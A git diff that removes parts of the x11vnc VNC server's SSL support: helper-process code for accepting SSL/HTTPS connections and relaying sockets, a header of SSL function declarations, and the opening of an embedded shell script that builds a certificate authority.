- if (dhret_fd < 0) {
- free(dhret);
- dhret = NULL;
- dhret_fd = -1;
- }
-
- /* now fork the child to handle the SSL: */
- pid = fork();
-
- if (pid > 0) {
- rfbLog("SSL: helper for peerport %d is pid %d: \n",
- peerport, (int) pid);
- }
-
- if (pid < 0) {
- rfbLog("SSL: accept_openssl: could not fork.\n");
- rfbLogPerror("fork");
- close(sock);
- close(csock);
- if (mode == OPENSSL_INETD || ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
-
- } else if (pid == 0) {
- int s_in, s_out, httpsock = -1;
- int vncsock;
- int i, have_httpd = 0;
- int f_in = fileno(stdin);
- int f_out = fileno(stdout);
- int skip_vnc_tls = mode == OPENSSL_HTTPS ? 1 : 0;
-
- if (db) fprintf(stderr, "helper pid in: %d %d %d %d\n", f_in, f_out, sock, listen);
-
- /* reset all handlers to default (no interrupted() calls) */
- unset_signals();
-
- /* close all non-essential fd's */
- for (i=0; i<256; i++) {
- if (mode == OPENSSL_INETD) {
- if (i == f_in || i == f_out) {
- continue;
- }
- }
- if (i == sock) {
- continue;
- }
- if (i == 2) {
- continue;
- }
- close(i);
- }
-
- /*
- * sadly, we are a long lived child and so the large
- * framebuffer memory areas will soon differ from parent.
- * try to free as much as possible.
- */
- lose_ram();
-
- /* now connect back to parent socket: */
- vncsock = connect_tcp("127.0.0.1", cport);
- if (vncsock < 0) {
- rfbLog("SSL: ssl_helper[%d]: could not connect"
- " back to: %d\n", getpid(), cport);
- rfbLog("SSL: ssl_helper[%d]: exit case 1 (no local vncsock)\n", getpid());
- exit(1);
- }
- if (db) fprintf(stderr, "vncsock %d\n", vncsock);
-
- /* try to initialize SSL with the remote client */
-
- if (mode == OPENSSL_INETD) {
- s_in = fileno(stdin);
- s_out = fileno(stdout);
- } else {
- s_in = s_out = sock;
- }
-
- if (! ssl_init(s_in, s_out, skip_vnc_tls, last_https)) {
- close(vncsock);
- rfbLog("SSL: ssl_helper[%d]: exit case 2 (ssl_init failed)\n", getpid());
- exit(1);
- }
-
- if (vencrypt_selected != 0) {
- char *tbuf;
- tbuf = (char *) malloc(strlen(cookie) + 100);
- sprintf(tbuf, "%s,VENCRYPT=%d,%s", uniq, vencrypt_selected, cookie);
- write(vncsock, tbuf, strlen(cookie));
- goto wrote_cookie;
- } else if (anontls_selected != 0) {
- char *tbuf;
- tbuf = (char *) malloc(strlen(cookie) + 100);
- sprintf(tbuf, "%s,ANONTLS=%d,%s", uniq, anontls_selected, cookie);
- write(vncsock, tbuf, strlen(cookie));
- goto wrote_cookie;
- }
-
- /*
- * things get messy below since we are trying to do
- * *both* VNC and Java applet httpd through the same
- * SSL socket.
- */
-
- if (! screen) {
- close(vncsock);
- exit(1);
- }
- if (screen->httpListenSock >= 0 && screen->httpPort > 0) {
- have_httpd = 1;
- } else if (ipv6_http_fd >= 0) {
- have_httpd = 1;
- } else if (screen->httpListenSock == -2) {
- have_httpd = 1;
- }
- if (mode == OPENSSL_HTTPS && ! have_httpd) {
- rfbLog("SSL: accept_openssl[%d]: no httpd socket for "
- "-https mode\n", getpid());
- close(vncsock);
- rfbLog("SSL: ssl_helper[%d]: exit case 3 (no httpd sock)\n", getpid());
- exit(1);
- }
-
- if (have_httpd) {
- int n = 0, is_http = 0;
- int hport = screen->httpPort;
- char *iface = NULL;
- char *buf, *tbuf;
-
- buf = (char *) calloc((ABSIZE+1), 1);
- tbuf = (char *) calloc((2*ABSIZE+1), 1);
-
- if (mode == OPENSSL_HTTPS) {
- /*
- * for this mode we know it is HTTP traffic
- * so we skip trying to guess.
- */
- is_http = 1;
- n = 0;
- goto connect_to_httpd;
- }
-
- /*
- * Check if there is stuff to read from remote end
- * if so it is likely a GET or HEAD.
- */
- if (! is_ssl_readable(s_in, last_https, last_get,
- mode)) {
- goto write_cookie;
- }
-
- /*
- * read first 2 bytes to try to guess. sadly,
- * the user is often pondering a "non-verified
- * cert" dialog for a long time before the GET
- * is ever sent. So often we timeout here.
- */
-
- if (db) fprintf(stderr, "watch_for_http_traffic\n");
-
- is_http = watch_for_http_traffic(buf, &n, s_in);
-
- if (is_http < 0 || is_http == 0) {
- /*
- * error or http not detected, fall back
- * to normal VNC socket.
- */
- if (db) fprintf(stderr, "is_http err: %d n: %d\n", is_http, n);
- write(vncsock, cookie, strlen(cookie));
- if (n > 0) {
- write(vncsock, buf, n);
- }
- goto wrote_cookie;
- }
-
- if (db) fprintf(stderr, "is_http: %d n: %d\n",
- is_http, n);
- if (db) fprintf(stderr, "buf: '%s'\n", buf);
-
- if (strstr(buf, "/request.https.vnc.connection")) {
- char reply[] = "HTTP/1.0 200 OK\r\n"
- "Content-Type: octet-stream\r\n"
- "Connection: Keep-Alive\r\n"
- "VNC-Server: x11vnc\r\n"
- "Pragma: no-cache\r\n\r\n";
- /*
- * special case proxy coming thru https
- * instead of a direct SSL connection.
- */
- rfbLog("Handling VNC request via https GET. [%d]\n", getpid());
- rfbLog("-- %s\n", buf);
-
- if (strstr(buf, "/reverse.proxy")) {
- char *buf2;
- int n, ptr;
-#if !LIBVNCSERVER_HAVE_LIBSSL
- write(s_out, reply, strlen(reply));
-#else
- SSL_write(ssl, reply, strlen(reply));
-#endif
-
- buf2 = (char *) calloc((8192+1), 1);
- n = 0;
- ptr = 0;
- while (ptr < 8192) {
-#if !LIBVNCSERVER_HAVE_LIBSSL
- n = read(s_in, buf2 + ptr, 1);
-#else
- n = SSL_read(ssl, buf2 + ptr, 1);
-#endif
- if (n > 0) {
- ptr += n;
- }
- if (db) fprintf(stderr, "buf2: '%s'\n", buf2);
-
- if (strstr(buf2, "\r\n\r\n")) {
- break;
- }
- }
- free(buf2);
- }
- goto write_cookie;
-
- } else if (strstr(buf, "/check.https.proxy.connection")) {
- char reply[] = "HTTP/1.0 200 OK\r\n"
- "Connection: close\r\n"
- "Content-Type: octet-stream\r\n"
- "VNC-Server: x11vnc\r\n"
- "Pragma: no-cache\r\n\r\n";
-
- rfbLog("Handling Check HTTPS request via https GET. [%d]\n", getpid());
- rfbLog("-- %s\n", buf);
-
-#if !LIBVNCSERVER_HAVE_LIBSSL
- write(s_out, reply, strlen(reply));
-#else
- SSL_write(ssl, reply, strlen(reply));
- SSL_shutdown(ssl);
-#endif
-
- strcpy(tbuf, uniq);
- strcat(tbuf, cookie);
- write(vncsock, tbuf, strlen(tbuf));
- close(vncsock);
-
- rfbLog("SSL: ssl_helper[%d]: exit case 4 (check.https.proxy.connection)\n", getpid());
- exit(0);
- }
- connect_to_httpd:
-
- /*
- * Here we go... no turning back. we have to
- * send failure to parent and close socket to have
- * http processed at all in a timely fashion...
- */
-
- /* send the failure tag: */
- strcpy(tbuf, uniq);
-
- if (https_port_redir < 0 || (strstr(buf, "PORT=") || strstr(buf, "port="))) {
- char *q = strstr(buf, "Host:");
- int fport = 443, match = 0;
- char num[16];
-
- if (q && strstr(q, "\n")) {
- q += strlen("Host:") + 1;
- while (*q != '\n') {
- int p;
- if (*q == ':' && sscanf(q, ":%d", &p) == 1) {
- if (p > 0 && p < 65536) {
- fport = p;
- match = 1;
- break;
- }
- }
- q++;
- }
- }
- if (!match || !https_port_redir) {
- int p;
- if (sscanf(buf, "PORT=%d,", &p) == 1) {
- if (p > 0 && p < 65536) {
- fport = p;
- }
- } else if (sscanf(buf, "port=%d,", &p) == 1) {
- if (p > 0 && p < 65536) {
- fport = p;
- }
- }
- }
- sprintf(num, "HP=%d,", fport);
- strcat(tbuf, num);
- }
-
- if (strstr(buf, "HTTP/") != NULL) {
- char *q, *str;
- /*
- * Also send back the GET line for heuristics.
- * (last_https, get file).
- */
- str = strdup(buf);
- q = strstr(str, "HTTP/");
- if (q != NULL) {
- *q = '\0';
- strcat(tbuf, str);
- }
- free(str);
- }
-
- /*
- * Also send the cookie to pad out the number of
- * bytes to more than the parent wants to read.
- * Since this is the failure case, it does not
- * matter that we send more than strlen(cookie).
- */
- strcat(tbuf, cookie);
- write(vncsock, tbuf, strlen(tbuf));
-
- usleep(150*1000);
- if (db) fprintf(stderr, "close vncsock: %d\n", vncsock);
- close(vncsock);
-
- /* now, finally, connect to the libvncserver httpd: */
- if (screen->listenInterface == htonl(INADDR_ANY) ||
- screen->listenInterface == htonl(INADDR_NONE)) {
- iface = "127.0.0.1";
- } else {
- struct in_addr in;
- in.s_addr = screen->listenInterface;
- iface = inet_ntoa(in);
- }
- if (iface == NULL || !strcmp(iface, "")) {
- iface = "127.0.0.1";
- }
- if (db) fprintf(stderr, "iface: %s:%d\n", iface, hport);
- usleep(150*1000);
-
- httpsock = connect_tcp(iface, hport);
-
- if (httpsock < 0) {
- /* UGH, after all of that! */
- rfbLog("Could not connect to httpd socket!\n");
- rfbLog("SSL: ssl_helper[%d]: exit case 5.\n", getpid());
- exit(1);
- }
- if (db) fprintf(stderr, "ssl_helper[%d]: httpsock: %d %d\n",
- getpid(), httpsock, n);
-
- /*
- * send what we read to httpd, and then connect
- * the rest of the SSL session to it:
- */
- if (n > 0) {
- char *s = getenv("X11VNC_EXTRA_HTTPS_PARAMS");
- int did_extra = 0;
-
- if (db) fprintf(stderr, "sending http buffer httpsock: %d n=%d\n'%s'\n", httpsock, n, buf);
- if (s != NULL) {
- char *q = strstr(buf, " HTTP/");
- if (q) {
- int m;
- *q = '\0';
- m = strlen(buf);
- write(httpsock, buf, m);
- write(httpsock, s, strlen(s));
- *q = ' ';
- write(httpsock, q, n-m);
- did_extra = 1;
- }
- }
- if (!did_extra) {
- write(httpsock, buf, n);
- }
- }
- ssl_xfer(httpsock, s_in, s_out, is_http);
- rfbLog("SSL: ssl_helper[%d]: exit case 6 (https ssl_xfer done)\n", getpid());
- exit(0);
- }
-
- /*
- * ok, back from the above https mess, simply send the
- * cookie back to the parent (who will attach us to
- * libvncserver), and connect the rest of the SSL session
- * to it.
- */
- write_cookie:
- write(vncsock, cookie, strlen(cookie));
-
- wrote_cookie:
- ssl_xfer(vncsock, s_in, s_out, 0);
- rfbLog("SSL: ssl_helper[%d]: exit case 7 (ssl_xfer done)\n", getpid());
- if (0) usleep(50 * 1000);
- exit(0);
- }
- /* parent here */
-
- if (mode != OPENSSL_INETD) {
- close(sock);
- }
- if (db) fprintf(stderr, "helper process is: %d\n", pid);
-
- /* accept connection from our child. */
- signal(SIGALRM, csock_timeout);
- csock_timeout_sock = csock;
- alarm(20);
-
- vsock = accept(csock, (struct sockaddr *)&addr, &addrlen);
-
- alarm(0);
- signal(SIGALRM, SIG_DFL);
- close(csock);
-
-
- if (vsock < 0) {
- rfbLog("SSL: accept_openssl: connection from ssl_helper[%d] FAILED.\n", pid);
- rfbLogPerror("accept");
-
- kill(pid, SIGTERM);
- waitpid(pid, &status, WNOHANG);
- if (mode == OPENSSL_INETD || ssl_no_fail) {
- clean_up_exit(1);
- }
- if (certret_fd >= 0) {
- close(certret_fd);
- certret_fd = -1;
- }
- if (certret) {
- unlink(certret);
- }
- if (dhret_fd >= 0) {
- close(dhret_fd);
- dhret_fd = -1;
- }
- if (dhret) {
- unlink(dhret);
- }
- return;
- }
- if (db) fprintf(stderr, "accept_openssl: vsock: %d\n", vsock);
-
- n = read(vsock, rcookie, strlen(cookie));
- if (n < 0 && errno != 0) {
- rfbLogPerror("read");
- }
-
- if (certret) {
- struct stat sbuf;
- sbuf.st_size = 0;
- if (certret_fd >= 0 && stat(certret, &sbuf) == 0 && sbuf.st_size > 0) {
- certret_str = (char *) calloc(sbuf.st_size+1, 1);
- read(certret_fd, certret_str, sbuf.st_size);
- close(certret_fd);
- certret_fd = -1;
- }
- if (certret_fd >= 0) {
- close(certret_fd);
- certret_fd = -1;
- }
- unlink(certret);
- if (certret_str && strstr(certret_str, "NOCERT") == certret_str) {
- free(certret_str);
- certret_str = NULL;
- }
- if (0 && certret_str) {
- fprintf(stderr, "certret_str[%d]:\n%s\n", (int) sbuf.st_size, certret_str);
- }
- }
-
- if (dhret) {
- struct stat sbuf;
- sbuf.st_size = 0;
- if (dhret_fd >= 0 && stat(dhret, &sbuf) == 0 && sbuf.st_size > 0) {
- dhret_str = (char *) calloc(sbuf.st_size+1, 1);
- read(dhret_fd, dhret_str, sbuf.st_size);
- close(dhret_fd);
- dhret_fd = -1;
- }
- if (dhret_fd >= 0) {
- close(dhret_fd);
- dhret_fd = -1;
- }
- unlink(dhret);
- if (dhret_str && strstr(dhret_str, "NOCERT") == dhret_str) {
- free(dhret_str);
- dhret_str = NULL;
- }
- if (dhret_str) {
- if (new_dh_params == NULL) {
- fprintf(stderr, "dhret_str[%d]:\n%s\n", (int) sbuf.st_size, dhret_str);
- new_dh_params = strdup(dhret_str);
- }
- }
- }
-
- if (0) {
- fprintf(stderr, "rcookie: %s\n", rcookie);
- fprintf(stderr, "cookie: %s\n", cookie);
- }
-
- if (strstr(rcookie, uniq) == rcookie) {
- char *q = strstr(rcookie, "RB=");
- if (q && strstr(cookie, q) == cookie) {
- vencrypt_sel = 0;
- anontls_sel = 0;
- q = strstr(rcookie, "VENCRYPT=");
- if (q && sscanf(q, "VENCRYPT=%d,", &vencrypt_sel) == 1) {
- if (vencrypt_sel != 0) {
- rfbLog("SSL: VENCRYPT mode=%d accepted. helper[%d]\n", vencrypt_sel, pid);
- goto accept_client;
- }
- }
- q = strstr(rcookie, "ANONTLS=");
- if (q && sscanf(q, "ANONTLS=%d,", &anontls_sel) == 1) {
- if (anontls_sel != 0) {
- rfbLog("SSL: ANONTLS mode=%d accepted. helper[%d]\n", anontls_sel, pid);
- goto accept_client;
- }
- }
- }
- }
-
- if (n != (int) strlen(cookie) || strncmp(cookie, rcookie, n)) {
- rfbLog("SSL: accept_openssl: cookie from ssl_helper[%d] FAILED. %d\n", pid, n);
- if (db) fprintf(stderr, "'%s'\n'%s'\n", cookie, rcookie);
- close(vsock);
-
- if (strstr(rcookie, uniq) == rcookie) {
- int i;
- double https_download_wait_time = 15.0;
-
- if (getenv("X11VNC_HTTPS_DOWNLOAD_WAIT_TIME")) {
- https_download_wait_time = atof(getenv("X11VNC_HTTPS_DOWNLOAD_WAIT_TIME"));
- }
-
- rfbLog("SSL: BUT WAIT! HTTPS for helper process[%d] succeeded. Good.\n", pid);
- if (mode != OPENSSL_HTTPS) {
- last_https = dnow();
- for (i=0; i<256; i++) {
- last_get[i] = '\0';
- }
- strncpy(last_get, rcookie, 100);
- if (db) fprintf(stderr, "last_get: '%s'\n", last_get);
- }
- if (rcookie && strstr(rcookie, "VncViewer.class")) {
- rfbLog("\n");
- rfbLog("helper[%d]:\n", pid);
- rfbLog("***********************************************************\n");
- rfbLog("SSL: WARNING CLIENT ASKED FOR NONEXISTENT 'VncViewer.class'\n");
- rfbLog("SSL: USER NEEDS TO MAKE SURE THE JAVA PLUGIN IS INSTALLED\n");
- rfbLog("SSL: AND WORKING PROPERLY (e.g. a test-java-plugin page.)\n");
- rfbLog("SSL: AND/OR USER NEEDS TO **RESTART** HIS WEB BROWSER.\n");
- rfbLog("SSL: SOMETIMES THE BROWSER 'REMEMBERS' FAILED APPLET DOWN-\n");
- rfbLog("SSL: LOADS AND RESTARTING IT IS THE ONLY WAY TO FIX THINGS.\n");
- rfbLog("***********************************************************\n");
- rfbLog("\n");
- }
- ssl_helper_pid(pid, -2);
-
- if (https_port_redir) {
- double start;
- int origport = screen->port;
- int useport = screen->port;
- int saw_httpsock = 0;
- /* to expand $PORT correctly in index.vnc */
- if (https_port_redir < 0) {
- char *q = strstr(rcookie, "HP=");
- if (q) {
- int p;
- if (sscanf(q, "HP=%d,", &p) == 1) {
- useport = p;
- }
- }
- } else {
- useport = https_port_redir;
- }
- screen->port = useport;
- if (origport != useport) {
- rfbLog("SSL: -httpsredir guess port: %d helper[%d]\n", screen->port, pid);
- }
-
- start = dnow();
- while (dnow() < start + https_download_wait_time) {
- if (screen->httpSock >= 0) saw_httpsock = 1;
- rfbPE(10000);
- usleep(10000);
- if (screen->httpSock >= 0) saw_httpsock = 1;
- waitpid(pid, &status, WNOHANG);
- if (kill(pid, 0) != 0) {
- rfbLog("SSL: helper[%d] pid finished\n", pid);
- break;
- }
- if (0 && saw_httpsock && screen->httpSock < 0) {
- /* this check can kill the helper too soon. */
- rfbLog("SSL: httpSock for helper[%d] went away\n", pid);
- break;
- }
- }
- rfbLog("SSL: guessing child helper[%d] https finished. dt=%.6f\n",
- pid, dnow() - start);
-
- rfbPE(10000);
- rfbPE(10000);
- rfbPE(10000);
-
- screen->port = origport;
- ssl_helper_pid(0, -2);
- if (mode == OPENSSL_INETD) {
- clean_up_exit(1);
- }
- } else if (mode == OPENSSL_INETD) {
- double start;
- int saw_httpsock = 0;
-
- /* to expand $PORT correctly in index.vnc */
- if (screen->port == 0) {
- int fd = fileno(stdin);
- if (getenv("X11VNC_INETD_PORT")) {
- /* mutex */
- screen->port = atoi(getenv(
- "X11VNC_INETD_PORT"));
- } else {
- int tport = get_local_port(fd);
- if (tport > 0) {
- screen->port = tport;
- }
- }
- }
- rfbLog("SSL: screen->port %d for helper[%d]\n", screen->port, pid);
-
- /* kludge for https fetch via inetd */
- start = dnow();
- while (dnow() < start + https_download_wait_time) {
- if (screen->httpSock >= 0) saw_httpsock = 1;
- rfbPE(10000);
- usleep(10000);
- if (screen->httpSock >= 0) saw_httpsock = 1;
- waitpid(pid, &status, WNOHANG);
- if (kill(pid, 0) != 0) {
- rfbLog("SSL: helper[%d] pid finished\n", pid);
- break;
- }
- if (0 && saw_httpsock && screen->httpSock < 0) {
- /* this check can kill the helper too soon. */
- rfbLog("SSL: httpSock for helper[%d] went away\n", pid);
- break;
- }
- }
- rfbLog("SSL: OPENSSL_INETD guessing "
- "child helper[%d] https finished. dt=%.6f\n",
- pid, dnow() - start);
-
- rfbPE(10000);
- rfbPE(10000);
- rfbPE(10000);
-
- ssl_helper_pid(0, -2);
- clean_up_exit(1);
- }
- /* this will actually only get earlier https */
- ssl_helper_pid(0, -2);
- return;
- }
- kill(pid, SIGTERM);
- waitpid(pid, &status, WNOHANG);
- if (mode == OPENSSL_INETD || ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
-
- accept_client:
-
- if (db) fprintf(stderr, "accept_openssl: cookie good: %s\n", cookie);
-
- rfbLog("SSL: handshake with helper process[%d] succeeded.\n", pid);
-
- openssl_last_helper_pid = pid;
- ssl_helper_pid(pid, vsock);
-
- if (vnc_redirect) {
- vnc_redirect_sock = vsock;
- openssl_last_helper_pid = 0;
- return;
- }
-
- client = create_new_client(vsock, 0);
- openssl_last_helper_pid = 0;
-
- if (client) {
- int swt = 0;
- if (mode == OPENSSL_VNC6 && openssl_last_ip != NULL) {
- swt = 1;
- } else if (mode == OPENSSL_REVERSE && ipv6_name != NULL && openssl_last_ip != NULL) {
- swt = 1;
- }
- if (swt) {
- if (client->host) {
- free(client->host);
- }
- client->host = strdup(openssl_last_ip);
- }
- if (db) fprintf(stderr, "accept_openssl: client %p\n", (void *) client);
- if (db) fprintf(stderr, "accept_openssl: new_client %p\n", (void *) screen->newClientHook);
- if (db) fprintf(stderr, "accept_openssl: new_client %p\n", (void *) new_client);
- if (mode == OPENSSL_INETD) {
- inetd_client = client;
- client->clientGoneHook = client_gone;
- }
- if (openssl_last_ip &&
- strpbrk(openssl_last_ip, "0123456789") == openssl_last_ip) {
- client->host = strdup(openssl_last_ip);
- }
- if (vencrypt_sel != 0) {
- client->protocolMajorVersion = 3;
- client->protocolMinorVersion = 8;
-#if LIBVNCSERVER_HAVE_LIBSSL
- if (!finish_vencrypt_auth(client, vencrypt_sel)) {
- rfbCloseClient(client);
- client = NULL;
- }
-#else
- badnews("3 accept_openssl");
-#endif
- } else if (anontls_sel != 0) {
- client->protocolMajorVersion = 3;
- client->protocolMinorVersion = 8;
- rfbAuthNewClient(client);
- }
- if (use_threads && client != NULL) {
- rfbStartOnHoldClient(client);
- }
- /* try to get RFB proto done now. */
- progress_client();
- } else {
- rfbLog("SSL: accept_openssl: rfbNewClient failed.\n");
- close(vsock);
-
- kill(pid, SIGTERM);
- waitpid(pid, &status, WNOHANG);
- if (mode == OPENSSL_INETD || ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
-}
-
-void raw_xfer(int csock, int s_in, int s_out) {
- char buf0[8192];
- int sz = 8192, n, m, status, db = 1;
- char *buf;
-#ifdef FORK_OK
- pid_t par = getpid();
- pid_t pid = fork();
-
- buf = buf0;
- if (vnc_redirect) {
- /* change buf size some direction. */
- }
-
- if (getenv("X11VNC_DEBUG_RAW_XFER")) {
- db = atoi(getenv("X11VNC_DEBUG_RAW_XFER"));
- }
- if (pid < 0) {
- exit(1);
- }
- /* this is for testing or special helper usage, no SSL just socket redir */
- if (pid) {
- if (db) rfbLog("raw_xfer start: %d -> %d/%d\n", csock, s_in, s_out);
-
- while (1) {
- n = read(csock, buf, sz);
- if (n == 0 || (n < 0 && errno != EINTR) ) {
- break;
- } else if (n > 0) {
- int len = n;
- char *src = buf;
- if (db > 1) write(2, buf, n);
- while (len > 0) {
- m = write(s_out, src, len);
- if (m > 0) {
- src += m;
- len -= m;
- continue;
- }
- if (m < 0 && (errno == EINTR || errno == EAGAIN)) {
- continue;
- }
-if (db) rfbLog("raw_xfer bad write: %d -> %d | %d/%d errno=%d\n", csock, s_out, m, n, errno);
- break;
- }
- }
- }
- usleep(250*1000);
- kill(pid, SIGTERM);
- waitpid(pid, &status, WNOHANG);
- if (db) rfbLog("raw_xfer done: %d -> %d\n", csock, s_out);
-
- } else {
- if (db) usleep(50*1000);
- if (db) rfbLog("raw_xfer start: %d <- %d\n", csock, s_in);
-
- while (1) {
- n = read(s_in, buf, sz);
- if (n == 0 || (n < 0 && errno != EINTR) ) {
- break;
- } else if (n > 0) {
- int len = n;
- char *src = buf;
- if (db > 1) write(2, buf, n);
- while (len > 0) {
- m = write(csock, src, len);
- if (m > 0) {
- src += m;
- len -= m;
- continue;
- }
- if (m < 0 && (errno == EINTR || errno == EAGAIN)) {
- continue;
- }
- if (db) rfbLog("raw_xfer bad write: %d <- %d | %d/%d errno=%d\n", csock, s_in, m, n, errno);
- break;
- }
- }
- }
- usleep(250*1000);
- kill(par, SIGTERM);
- waitpid(par, &status, WNOHANG);
- if (db) rfbLog("raw_xfer done: %d <- %d\n", csock, s_in);
- }
- close(csock);
- close(s_in);
- close(s_out);
-#endif /* FORK_OK */
-}
-
-/* compile with -DENC_HAVE_OPENSSL=0 to disable enc stuff but still have ssl */
-
-#define ENC_MODULE
-
-#if LIBVNCSERVER_HAVE_LIBSSL
-#ifndef ENC_HAVE_OPENSSL
-#define ENC_HAVE_OPENSSL 1
-#endif
-#else
-#define ENC_HAVE_OPENSSL 0
-#endif
-
-#define ENC_DISABLE_SHOW_CERT
-
-#include "enc.h"
-
-static void symmetric_encryption_xfer(int csock, int s_in, int s_out) {
- char tmp[100];
- char *cipher, *keyfile, *q;
-
- if (! enc_str) {
- return;
- }
- cipher = (char *) malloc(strlen(enc_str) + 100);
- q = strchr(enc_str, ':');
- if (!q) return;
- *q = '\0';
- if (getenv("X11VNC_USE_ULTRADSM_IV")) {
- sprintf(cipher, "rev:%s", enc_str);
- } else {
- sprintf(cipher, "noultra:rev:%s", enc_str);
- }
- keyfile = strdup(q+1);
- *q = ':';
-
-
- /* TBD: s_in != s_out */
- if (s_out) {}
-
- sprintf(tmp, "fd=%d,%d", s_in, csock);
-
- enc_do(cipher, keyfile, "-1", tmp);
-}
-
diff --git a/x11vnc/sslhelper.h b/x11vnc/sslhelper.h
deleted file mode 100644
index 236db73..0000000
--- a/x11vnc/sslhelper.h
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_SSLHELPER_H
-#define _X11VNC_SSLHELPER_H
-
-/* -- sslhelper.h -- */
-
-
-#define OPENSSL_INETD 1
-#define OPENSSL_VNC 2
-#define OPENSSL_VNC6 3
-#define OPENSSL_HTTPS 4
-#define OPENSSL_HTTPS6 5
-#define OPENSSL_REVERSE 6
-
-extern int openssl_sock;
-extern int openssl_sock6;
-extern int openssl_port_num;
-extern int https_sock;
-extern int https_sock6;
-extern pid_t openssl_last_helper_pid;
-extern char *openssl_last_ip;
-extern char *certret_str;
-extern char *dhret_str;
-extern char *new_dh_params;
-
-extern void raw_xfer(int csock, int s_in, int s_out);
-
-extern int openssl_present(void);
-extern void openssl_init(int);
-extern void openssl_port(int);
-extern void https_port(int);
-extern void check_openssl(void);
-extern void check_https(void);
-extern void ssl_helper_pid(pid_t pid, int sock);
-extern void accept_openssl(int mode, int presock);
-extern char *find_openssl_bin(void);
-extern char *get_saved_pem(char *string, int create);
-extern char *get_ssl_verify_file(char *str_in);
-extern char *create_tmp_pem(char *path, int prompt);
-
-
-#endif /* _X11VNC_SSLHELPER_H */
diff --git a/x11vnc/ssltools.h b/x11vnc/ssltools.h
deleted file mode 100644
index b4ad7d0..0000000
--- a/x11vnc/ssltools.h
+++ /dev/null
@@ -1,2560 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _SSLTOOLS_H
-#define _SSLTOOLS_H
-
-/* quoted scripts, edit source not this file. */
-
-
-char genCA[] =
-"#!/bin/sh\n"
-"\n"
-"DIR=$BASE_DIR\n"
-"if [ \"x$DIR\" = \"x\" ]; then\n"
-" DIR=\"$HOME/dotkjr_vnc/certs\"\n"
-" rm -rf \"$DIR\"\n"
-"fi\n"
-"if echo \"$DIR\" | grep '^/' > /dev/null; then\n"
-" :\n"
-"else\n"
-" DIR=\"`pwd`/$DIR\"\n"
-"fi\n"
-"\n"
-"PATH=/usr/bin:/bin:/usr/sbin:$PATH; export PATH\n"
-"if [ \"x$OPENSSL\" = \"x\" ]; then\n"
-" OPENSSL=\"openssl\"\n"
-"fi\n"
-"\n"
-"type \"$OPENSSL\" > /dev/null || exit 1\n"
-"\n"
-"if [ -f \"$DIR/CA/cacert.pem\" ]; then\n"
-" echo \"Files will be overwritten in $DIR/CA\"\n"
-" printf \"Continue? [y]/n \"\n"
-" read x\n"
-" if [ \"x$x\" = \"xn\" ]; then\n"
-" exit 1;\n"
-" fi\n"
-"fi\n"
-"\n"
-"#mkdir -p \"$DIR/HASH\" || exit 1\n"
-"mkdir -p \"$DIR/clients\" || exit 1\n"
-"#mkdir -p \"$DIR/clients/HASH\" || exit 1\n"
-"mkdir -p \"$DIR/CA/certs\" || exit 1\n"
-"mkdir -p \"$DIR/CA/crl\" || exit 1\n"
-"mkdir -p \"$DIR/CA/newcerts\" || exit 1\n"
-"mkdir -p \"$DIR/CA/private\" || exit 1\n"
-"chmod go-rwx \"$DIR/CA/private\" || exit 1\n"
-"mkdir -p \"$DIR/tmp\" || exit 1\n"
-"chmod go-rwx \"$DIR/tmp\" || exit 1\n"
-"touch \"$DIR/CA/index.txt\" || exit 1\n"
-"if [ ! -f \"$DIR/CA/serial\" ]; then\n"
-" echo \"01\" > \"$DIR/CA/serial\" || exit 1\n"
-"fi\n"
-"\n"
-"cnf='\n"
-"HOME = .\n"
-"RANDFILE = $ENV::HOME/.rnd\n"
-"\n"
-"####################################################################\n"
-"[ ca ]\n"
-"default_ca = CA_default # The default ca section\n"
-"\n"
-"####################################################################\n"
-"[ CA_default ]\n"
-"\n"
-"dir = ./CA # Where everything is kept\n"
-"certs = $dir/certs # Where the issued certs are kept\n"
-"crl_dir = $dir/crl # Where the issued crl are kept\n"
-"database = $dir/index.txt # database index file.\n"
-"new_certs_dir = $dir/newcerts # default place for new certs.\n"
-"certificate = $dir/cacert.pem # The CA certificate\n"
-"serial = $dir/serial # The current serial number\n"
-"crl = $dir/crl.pem # The current CRL\n"
-"private_key = $dir/private/cakey.pem # The private key\n"
-"RANDFILE = $dir/private/.rand # private random number file\n"
-"\n"
